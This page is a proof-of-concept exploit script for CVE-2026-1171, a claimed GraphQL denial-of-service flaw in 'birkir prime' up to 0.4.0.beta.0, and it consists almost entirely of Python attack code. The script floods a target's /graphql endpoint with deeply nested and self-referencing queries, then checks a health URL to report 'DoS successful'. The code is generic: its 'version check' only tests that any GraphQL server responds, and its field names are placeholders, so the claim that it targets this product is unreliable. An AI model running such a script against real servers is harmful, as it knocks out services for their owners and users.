CVE-2026-1171: birkir prime GraphQL拒绝服务漏洞

# CVE-2026-1171 PoC - birkir prime GraphQL DoS # Target: birkir prime <= 0.4.0.beta.0 # Endpoint: /graphql import requests import json TARGET_URL = "http://target-server/graphql" def check_version(): """Check if target is vulnerable""" query = """ { __typename } """ response = requests.post(TARGET_URL, json={"query": query}) return response.status_code == 200 def exploit_dos(): """Trigger DoS condition""" # Deeply nested query to trigger resource exhaustion malicious_query = """ query { nested1 { nested2 { nested3 { nested4 { nested5 { field1 field2 field3 field4 field5 } } } } } } """ # Alternative: Circular reference query circular_query = """ query { self: self { self { self { self { id } } } } } """ try: print("Sending malicious GraphQL query...") response = requests.post( TARGET_URL, json={"query": malicious_query}, timeout=10 ) print(f"Response status: {response.status_code}") # Check if server is still responsive check = requests.get("http://target-server/health", timeout=5) if check.status_code != 200: print("DoS successful - server unresponsive") return True except requests.exceptions.Timeout: print("DoS successful - request timeout") return True except Exception as e: print(f"Error: {e}") return False if __name__ == "__main__": if check_version(): print("Target appears to be running birkir prime") exploit_dos() else: print("Target not vulnerable or not birkir prime")